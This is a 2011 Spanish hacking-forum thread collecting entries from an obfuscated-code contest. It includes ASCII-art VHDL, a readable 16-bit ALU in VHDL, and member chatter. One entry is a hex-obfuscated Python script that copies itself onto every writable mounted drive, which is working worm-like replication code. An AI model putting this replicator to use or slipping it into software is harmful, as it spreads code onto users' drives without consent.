   0O0oO0O0O)  |   (o0O0000o00o0O0(o00o0Oo0OO)and                  0O0oO0O0O);o0O0O0O0Oo0<=O0O0O0O0O0;
when o00o0=>o0O0O0O0Oo0<=o0O0000o00o0O0(                         oOOO0O000o0oO0O0o0O-oOOO0O00)&o0O0000o00o0O0
(oOOO0O000o0oO0O0o0O-oOOO0O00 downto oOOO0O00)                  nand o0O0000o00o0O0(oOOO0O000o0oO0O0o0O
-oOOO0O00)&o0O0000o00o0O0(oOOO0O000o0oO0O0o0O                  -oOOO0O00 downto oOOO0O00) nand o0O0000o00o0O0
         (oOOO0O000o0oO0O0o0O-oOOO0O00)&o0O0000o00o0O0                (oOOO0O000o0oO0O0o0O-oOOO0O00 downto oOOO0O00)
        nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O                   -o00o00o downto o00o0Oo0OO)&o00o0Oo0OO nand
        O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o               downto o00o0Oo0OO)&o00o0Oo0OO nand
          O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O      -o00o00o downto o00o0Oo0OO)& o00o0Oo0OO nand
            o0O0000o00o0O0(oOOO0O000o0oO0O0o0O-oOOO0O00)          &o0O0000o00o0O0(oOOO0O000o0oO0O0o0O-
               oOOO0O00 downto oOOO0O00)nand o0O0000o00o0O0      (oOOO0O000o0oO0O0o0O-oOOO0O00) &
                 o0O0000o00o0O0(oOOO0O000o0oO0O0o0O             -oOOO0O00 downto oOOO0O00)nand
                               o0O0000o00o0O0                  (oOOO0O000o0oO0O0o0O-oOOO0O00)&
  o0O0000o00o0O0                (oOOO0O000o0oO0O0o0O-oOOO0O00
  downto oOOO0O00)nand        o0O0000o00o0O0(
                                   oOOO0O000o0oO0O0o0O-
    oOOO0O00)&o0O0000o00o0O0(oOOO0O000o0oO0O0o0O
    -oOOO0O00 downto oOOO0O00) nand O0o0O0O0o00O00O00
     (oOOO0O000o0oO0O0o0O-oOOO0O00 downto o00o0Oo0OO)
      &o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o downto
                                        o00o0Oo0OO)&o00o0Oo0OO nand O0o0O0O0o00O00O00(oOOO0O000o0oO0O0o0O-o00o00o
          downto o00o0Oo0OO)&          o00o0Oo0OO nand
                                          o0O0000o00o0O0(               oOOO0O000o0oO0O0o0O   
                                        -oOOO0O00)&                      o0O0000o00o0O0(
                                        oOOO0O000o0oO0O0o0O                -oOOO0O00 downto
                                       oOOO0O00);when others                =>O0o0O0O0o00O00O00
                                      +o0O0000o00o0O0;                       constant oOOO0O00,
                                     o00o00o:std_logic                        :='0','1';end
                                       o0OoOO0OO00                              -- 0000000
                                        --0000000                                  0000000
                                     --0000000000000                            0000000000000

Autor: Dusk Noun
Lenguaje: Python
Programa: El código simplemente rastrea todos los dispositivos  y crea una réplica de éste en cada uno de ellos aparte de mostrar determinados mensajes en la consola. Está habilitado para Windows, Mac y Linux pero si se ejecuta en otro sistema operativo lanzará una excepción (por no poder declarar la varaible R00T).

Código: You are not allowed to view links. Register or Login
#!/usr/bin/env\xpython
# -*- coding: utf-8 -*-

'''This program can be played on Windows, Mac and Linux. It has 3 parts:
variable definitions, the K and the E of Ending '''

############################## DEFINITIONS ###################################

import os
MAA = '\x53\x65\x6C\x66\x2D\x72\x65\x70\x6C\x69\x63\x61\x74\x69\x6E\x67 '
MAB = '\x70\x72\x6F\x67\x72\x61\x6D\x2C \x70\x6C\x65\x61\x73\x65 \x77'
MAC = '\x61\x69\x74\x2E\x2E\x2E\n'
M0G0R_9H8F9BT9 = MAA+MAB+MAC
M0G0R_MA = "\x2F\x6D\x65\x64\x69\x61"
M0G0R_ME = "\x2F\x56\x6F\x6C\x75\x6D\x65\x73";
MNA = '\x54\x68\x69\x73 \x4F\x53 \x73\x65\x65\x6D\x73 \x6E\x6F'
MNB = '\x74 \x74\x6F \x62\x65 \x6F\x6E\x65 \x6F\x66 \x74\x68'
MNC = '\x65 \x33 \x6D\x61\x69\x6E\x73\x2C \x49 \x61\x64\x6D\x69'
MND = '\x74 \x64\x65\x66\x65\x61\x74\x2C \x70\x72\x6F\x67\x72\x61\x6D'
MNE = ' \x63\x6C\x6F\x73\x69\x6E\x67 \x77\x69\x74\x68 \x72\x65\x74'
MNF = '\x75\x72\x6E \x31 \x54\x68\x69\x73 \x4F\x53 \x73\x65\x65'
MNG = '\x6D\x73 \x6E\x6F\x74 \x74\x6F \x62\x65 \x6F\x6E\x65 '
MNH = '\x6F\x66 \x74\x68\x65 \x33 \x6D\x61\x69\x6E\x73\x2C \x49'
MNI = ' \x61\x64\x6D\x69\x74 \x64\x65\x66\x65\x61\x74\x2C \x70\x72'
MNJ = '\x6F\x67\x72\x61\x6D \x63\x6C\x6F\x73\x69\x6E\x67 \x77\x69\x74'
MNK = '\x68 \x72\x65\x74\x75\x72\x6E \x31'
HOLE = "\x3E "
M0G0R_ERG98W = "\x4F\x53 \x66\x6F\x75\x6E\x64\x2C \x72\x65\x70\x6C"
M0G0R_ERG98W += "\x69\x63\x61\x74\x69\x6E\x67 \x73\x63\x72\x69\x70\x74"
M0G0R_ERG98W += "\x3A "
G0_DFGD = '\x70\x6F\x73\x69\x78'
G0_0 = '\x6E\x74'
AX = '\x57\x69\x6E\x64\x6F\x77\x73'
BX = '\x4D\x61\x63\x4F\x53'
CX = '\x4C\x69\x6E\x75\x78'
M0G0R_DEFEAT = MNA+MNB+MNC+MND+MNE+MNF+MNG+MNH+MNI+MNJ+MNK
DL = '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50'
DL += '\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A'
MAIN = '\x73\x63\x72\x69\x70\x74\x2E\x70\x79';
def check_flags(): exec("\x23\x74\x68\x69\x73\x5F\x69\x73\x5F\x61\x6E\x6F")
g = 0; u = 0; print( M0G0R_9H8F9BT9 )



################################### THE K ####################################

import os as  OGT_THETB7E0B8;                    CD_001 = OGT_THETB7E0B8.path
M0G0R_900090R9V =      open          (__file__, "rb").read();Q = 9
if  OGT_THETB7E0B8.name ==        G0_DFGD:
 if CD_001.exists(M0G0R_ME):  R00T = BX; P=6
 if CD_001.exists(M0G0R_MA):      R00T = CX; p09 = 936363565634
elif OGT_THETB7E0B8.name==G0_0:        R00T = AX; p09 = 54545344643
else: R00T = None; kOE = 99008;                   print ( M0G0R_DEFEAT ); P=0
ROUG = ['%s:' % d for d in DL                       if CD_001.exists('%s:' % d)]

############################### THE E OF ENDING ##############################


if  R00T==BX: THS=M0G0R_ME;F='/';p09=9839;XC=902;'''\x09'''
if  R00T==CX: THS=M0G0R_MA;F='/';YYZ=01;REG=3260;'''\x61'''
if  R00T==AX: THS=0;p09=29804902839;F='\\';#NOTHING    HERE
print (HOLE); p09 = 54234;
print(M0G0R_ERG98W+ R00T);
DGAI=4543;G0=0;SCAN=1;M0=1
from dircache import listdir as G0HRGDFDFES;REG=034;SCAN=01
if THS==0: M0G0R_09LJHV0=ROUG;THS='';XC=71;print(''+''+'');
if THS != '': M0G0R_09LJHV0 = G0HRGDFDFES(THS);SCAN=0x00001
if SCAN == 1: check_flags()
for  i  in   M0G0R_09LJHV0:
 if CD_001.isdir (THS+F+i):
  try: a=open(THS+F+i+F+MAIN,"wb");a.write(M0G0R_900090R9V)
  except: u += 1; READ_ONLY_DRIVES_PRESENT_OR_NOT_SU = True           
print ('Succesfully replicated script on writable drives');

Ok es todo, lastima que no esta el Geshi, de todas formas carlmycol tiene color =D

Saludos
« Última modificación: Julio 31, 2011, 11:24:09 pm por WaesWaes »

Desconectado jep

  • Night Elf Druid
  • Colaborador
  • ****
  • Mensajes: 1771
  • Sexo: Masculino
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #1 en: Julio 28, 2011, 05:40:40 pm »
El arte ascii de .xAk. está impresionante !
muy buenos todos, la verdad que cada uno tiene cosas interesantes, no conocía el lenguaje VHDL
« Última modificación: Julio 28, 2011, 05:41:51 pm por jep »

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #2 en: Julio 28, 2011, 05:42:25 pm »
Si no se como hizo eso, para mi que uso un software ¬¬

XD

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7923
  • Sexo: Masculino
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #3 en: Julio 29, 2011, 01:16:55 am »
el de waes me parece que no lo entiendo ni sin osfuscar


tengo que mirar de cerca el de xak y el de carlmycol, pero es muy tarde y voy a putear mucho


Ves links a xd-blog.com.ar que no andan? buscalos en You are not allowed to view links. Register or Login

Desconectado .xAk.

  • el engendro
  • Colaborador
  • ****
  • Mensajes: 7311
  • Sexo: Masculino
  • F0r3v3R NeWbI3
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #4 en: Julio 29, 2011, 02:09:06 am »

No, nigun soft. Un editor, nano, en una consola semitransparente, y detrás el dibujo, en una ventana del visor de imágenes, y ... ya te imaginas el resto (SPACE && RETURN).
Is the truth out there?

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #5 en: Julio 29, 2011, 09:25:50 am »

Aca deje un procesador completo

You are not allowed to view links. Register or Login

Si haces un archivo con todos numeros hexadecimales (que se corresponda con el asm de MIPS) lo ejecuta al codigo =D (no recuerdo si deje unos programas de ejemplo)

para mi que uso un software ¬¬
No, nigun soft. Un editor, nano, en una consola semitransparente, y detrás el dibujo, en una ventana del visor de imágenes, y ... ya te imaginas el resto (SPACE && RETURN).

Sin palabras, la verdad que muy bueno, yo primero no iba a hacer nada y entonces puse nombres de variables muy largos, despues cuando empeze a hacer (sin imagen de fondo no tengo targeta grafica :( ) me jogu muy en contr porque no podia hacer /n cuando yo queria debido al nombre de la variable.

De todas formas si bien el arte ascii es lo que mas llama la atencion no es lo que ofusca.

Desconectado .xAk.

  • el engendro
  • Colaborador
  • ****
  • Mensajes: 7311
  • Sexo: Masculino
  • F0r3v3R NeWbI3
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #6 en: Julio 29, 2011, 01:57:37 pm »

je, je, al principio cuando empecé a hacerlo, no tenía el compiz configurado y lo de CPH lo hice con gimp y luego lo puse de fondo de pantalla X'D, para poder verlo en semitransparente. Luego configuré compiz y fue fácil.

Ahora vuelvo estar como al principio. Después de una actualización, se ha desconfigurado todo X'D y sólo podría hacerlo poniendo la img de fondo de escritorio.

@Jh0ubrt nos puede entonces describir ¿que hace el code? recordemos
Citar
envian el codigo + la descripcion detallada del programa

Cita de: Jh0ubrt
enviado ....es simple pero enviado! xd

SaludOS

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #7 en: Julio 30, 2011, 08:44:43 pm »
Extra Extra!

Nuevo codigo agregado =D

Saludos

Desconectado JaAViEr

  • ¡ Programming the world !
  • Colaborador
  • ****
  • Mensajes: 8218
  • https://uniendo.la
    • Ver Perfil
    • Ethereum Chile
Re:Codigos Ofuscados
« Respuesta #8 en: Julio 31, 2011, 12:49:31 am »
Good Job Boys !
¡MI TWITTER You are not allowed to view links. Register or Login!
You are not allowed to view links. Register or Login !

Desconectado @Aps

  • Me das tu password?
  • **
  • Mensajes: 267
  • Sexo: Masculino
  • (?)
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #9 en: Julio 31, 2011, 04:29:10 pm »
Cristo! todos están impresionante. Los que mas me llaman la atención son los de carlmycol, Jh0ubrt, Dusk Noun y .xAk.
Está descomunal el arte de xAk., ha de haberle tomado un tiempaso currárselo tan bien.

Como sea, felicidades muy buen trabajo. ;-)

Saludines.

 
There is not other!

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7923
  • Sexo: Masculino
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #10 en: Julio 31, 2011, 08:15:25 pm »
estaria bueno que cada uno haga un post explicando su codigo

Desconectado Kreusser

  • Yo vivo en CPH
  • ***
  • Mensajes: 893
  • Sexo: Masculino
  • Hard programming
    • Ver Perfil
    • :~#
Re:Codigos Ofuscados
« Respuesta #11 en: Julio 31, 2011, 08:55:26 pm »
O.O
UNA ALU???  :O
que nivel :P


la mia obtiene el titulo del foro del html y la imprime pausando el hilo  :D

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #12 en: Julio 31, 2011, 10:33:05 pm »
Yo explicaria el mio pero probablemente antes tenga que introducir a VHDL porque nadie lo sabe seguro ¬¬ , de todas formas si alguien sabe y empieza a darle forma se dara cuenta de que si bien esta medio jodido de entender todo el programa responde a un "with select" que es como un case implicito que es basicamente lo que es una ALU dadas dos entradas y una señal de control hace algo.

Vos podes explicar el tuyo (seth), que me llamo mucho la atencion....sobre todo esos espacios blancos y que no puedo publicarlo en el foro tambien...

Saludos

Desconectado .xAk.

  • el engendro
  • Colaborador
  • ****
  • Mensajes: 7311
  • Sexo: Masculino
  • F0r3v3R NeWbI3
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #13 en: Julio 31, 2011, 11:14:31 pm »

Algunos hemos dejado la explicación troceada por el foro y / o enviada por msg privado, un trozo ... You are not allowed to view links. Register or Login

Si es para formar un buen documento, sigo recomendando la creación de estos en comunidad: You are not allowed to view links. Register or Login

SaludOS

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re:Codigos Ofuscados
« Respuesta #14 en: Julio 31, 2011, 11:19:55 pm »
Para mi los ejemplos hablan por si solos....pero el de seth no lo entiendo xD asi que si, estaria bueno armar algo mas prolijo, pero un primer boceto se podria hacer en este mismo post...si alguien no llego a la fecha y tiene un codigo o quiere hacer uno y publicarlo y opcionalmente explicarlo es bienvenido

Yo si bien no tengo el codigo original que ofusque se podria decir que este es similar (aunque con algunas funcionalidades y compuertas mas)

Código: You are not allowed to view links. Register or Login
ARCHITECTURE flujo1 OF alu IS
CONSTANT uno:std_logic_vector(n_bits-1 DOWNTO 0):="0000000000000001";
CONSTANT cero:std_logic_vector(n_bits-1 DOWNTO 0):=(OTHERS=>'0');

BEGIN

PROCESS(m,n,p,q)
VARIABLE B1_aux,carry,borrow:std_logic_vector(n_bits-1 DOWNTO 0);
VARIABLE mnpq:std_logic_vector(3 downto 0);
VARIABLE ind:INTEGER;
VARIABLE C_aux,B_aux,nada:std_logic:='0';

BEGIN
mnpq(0):=q;
mnpq(1):=p;
mnpq(2):=n;
mnpq(3):=m;
CASE mnpq IS
WHEN "0000" => B1_aux:=BA;
WHEN "0011" => B1_aux:=BB;
WHEN "0100" => B1_aux:=BB+uno;
WHEN "0101" => B1_aux:=BB-uno;
WHEN "0110" => -- suma en comp2, con acarreo
C_aux:='0';
    FOR ind IN 0 TO 15 LOOP
        B1_aux(ind):=BA(ind) XOR BB(ind) XOR C_aux;
      C_aux:=(BA(ind) AND BB(ind)) OR (BA(ind) AND C_aux) OR (BB(ind) AND C_aux);
carry(ind):=C_aux;
END LOOP;
    C <= C_aux;
W <= carry(15) xor carry(14);
WHEN "0111" => -- resta en comp2;
B_aux:='0';
    FOR ind IN 0 TO 15 LOOP
        B1_aux(ind):=BA(ind) XOR BB(ind) XOR B_aux;
      B_aux:=(NOT(BA(ind)) AND BB(ind)) OR (NOT(BA(ind)) AND B_aux) OR (BB(ind) AND B_aux);
borrow(ind):=B_aux;
END LOOP;
    C<= B_aux; -- el adeudo aparece en el flag de acarreo
W <= borrow(15) xor borrow(14);
WHEN "1000" =>
B1_aux:=BA NAND BB;
WHEN "1001" => --desp.izqda.
C <= BA(n_bits-1);
B1_aux:=BA(n_bits-2 downto 0)&'0';
WHEN "1010" =>  --desp. dcha. Aquí 'S' siempre es 0
C <= BA(0);
B1_aux:='0'&BA(n_bits-1 downto 1);
WHEN "1011" => --desp.arit.dcha.
C <= BA(0);
B1_aux:=BA(n_bits-1)&BA(n_bits-1 downto 1);
      WHEN OTHERS => nada:='0';
END CASE;

B1<=B1_aux;
CASE mnpq IS
WHEN "0110"|"0111"|"1000"|"1001"|"1010"|"1011" =>
IF B1_aux=cero THEN Z<='1';
ELSE Z<='0';
END IF;
S <= B1_aux(n_bits-1);
      WHEN OTHERS => nada:='0';
END CASE;

END PROCESS;

END flujo1;

Bueno no tan similar pero la salida es similar XD

La entidad de esa arquitectura es:

Código: You are not allowed to view links. Register or Login
ENTITY alu IS
GENERIC (n_bits:integer:=16);
PORT(m,n,p,q:IN std_logic;
Z,S,C,W:OUT std_logic;
BA,BB:IN std_logic_vector(n_bits-1 DOWNTO 0);
B1:OUT std_logic_vector(n_bits-1 DOWNTO 0));
END alu;

Y por si a alguien le interesa el procesador que lleva adentro esa ALU es el siguiente:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login   (de donde saque este codigo)

Saludos
« Última modificación: Julio 31, 2011, 11:28:15 pm por WaesWaes »


xx
Codigos bat xD

Iniciado por abel360

4 Respuestas
3823 Vistas
Último mensaje ſeptiembre 05, 2008, 06:47:42 pm
por abel360
xx
CODIGOS RED GSM

Iniciado por zorro

1 Respuestas
2738 Vistas
Último mensaje Febrero 01, 2007, 06:11:53 pm
por marlochack
xx
Codigos SMS

Iniciado por slope

2 Respuestas
14496 Vistas
Último mensaje Junio 30, 2006, 04:51:56 pm
por Allcom
xx
[ASM]Codigos

Iniciado por Kreusser

11 Respuestas
4168 Vistas
Último mensaje Abril 06, 2011, 10:27:44 am
por Kreusser
xx
Codigos de red MMC y MNC

Iniciado por ..::Lëssiëm Táralóm::..

1 Respuestas
23188 Vistas
Último mensaje Julio 22, 2007, 11:29:08 am
por Pbxfulll
xx
codigos de ms-dos

Iniciado por akhenaten2

3 Respuestas
6614 Vistas
Último mensaje Agosto 02, 2008, 03:06:34 pm
por RockoX
exclamation
codigos

Iniciado por blackpirata

1 Respuestas
3162 Vistas
Último mensaje ſeptiembre 24, 2007, 04:24:20 pm
por nov_hack
xx
códigos SPC/MSL

Iniciado por Jose185

0 Respuestas
1053 Vistas
Último mensaje Diciembre 18, 2011, 05:06:27 pm
por Jose185
xx
web con codigos vb y mas

Iniciado por happy-word

3 Respuestas
1437 Vistas
Último mensaje Abril 17, 2007, 05:55:12 am
por happy-word
xx
codigos en batch

Iniciado por pavoprincipiante

2 Respuestas
1431 Vistas
Último mensaje Agosto 29, 2008, 09:56:28 am
por ANTRAX